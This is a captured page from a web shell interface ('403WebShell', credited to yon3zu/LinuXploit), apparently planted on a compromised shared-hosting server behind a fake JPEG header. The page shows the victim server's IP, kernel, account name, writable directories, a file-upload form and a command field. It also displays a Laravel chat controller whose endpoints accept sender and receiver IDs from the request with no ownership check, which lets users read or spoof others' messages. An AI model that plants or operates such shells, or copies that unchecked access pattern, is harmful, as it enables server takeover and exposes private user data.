����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.221.165
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Instructor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Http/Controllers/Instructor/ChatController.php
<?php

namespace App\Http\Controllers\Instructor;

use App\Http\Controllers\Controller;
use App\Models\Chat;
use App\Models\Enrollment;
use App\Events\ChatEvent;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;

class ChatController extends Controller
{
    public function index()
    {
        $users = Enrollment::where('enrollments.owner_user_id', auth()->id())
            ->join('courses', 'enrollments.course_id', '=', 'courses.id')
            ->join('users', 'enrollments.user_id', '=', 'users.id')
            ->select(
                'courses.id as course_id',
                'courses.title as course_title',
                'users.id as user_id',
                'users.name as user_name',
                'users.image as user_image'
            )->groupBy('users.id', 'courses.id')
            ->get();
        $data['title'] = 'Chat';
        $data['data'] = $users->groupBy('user_id');
        $data['navChatActiveClass'] = "active";
        return view('instructor.chat.index', $data);
    }

    public function getChatMessages(Request $request)
    {
        $receiverId = $request->receiverId;
        $senderId = $request->senderId;
        $courseId = $request->courseId;
        $messages = Chat::where(function ($query) use ($senderId, $receiverId, $courseId) {
            $query->where('sender_id', $senderId)
                ->where('receiver_id', $receiverId)
                ->where('course_id', $courseId);
        })
            ->orWhere(function ($query) use ($senderId, $receiverId, $courseId) {
                $query->where('sender_id', $receiverId)
                    ->where('receiver_id', $senderId)
                    ->where('course_id', $courseId);
            })
            ->orderByDesc('id')
            ->limit(100)
            ->get();
        return response()->json([
            'messages' => $messages
        ]);
    }

    public function sendChatMessage(Request $request)
    {
        $validator = Validator::make(
            $request->all(),
            [
                'sender_id' => 'required',
                'receiver_id' => 'required',
                'message' => 'required',
                'course_id' => 'required'
            ],
            [
                'sender_id.required' => 'sender is required!',
                'receiver_id.required' => 'receiver is required!',
                'course_id.required' => 'course is required!',
                'message.required' => 'message is required!',
            ]
        );
        if ($validator->fails()) {
            return response()->json(['errors' => $validator->errors()], 422);
        } else {
            $chat = new Chat();
            $chat->sender_id = $request->sender_id;
            $chat->receiver_id = $request->receiver_id;
            $chat->course_id = $request->course_id;
            $chat->message = $request->message;
            $chat->is_seen = 0;
            $chat->save();

            $messageData = [
                'receiverId' => $request->receiver_id,
                'senderId' => $request->sender_id,
                'courseId' => $request->course_id,
                'message' => $request->message,
            ];
            event(new ChatEvent($messageData));
            return response()->json(['success' => $messageData]);
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit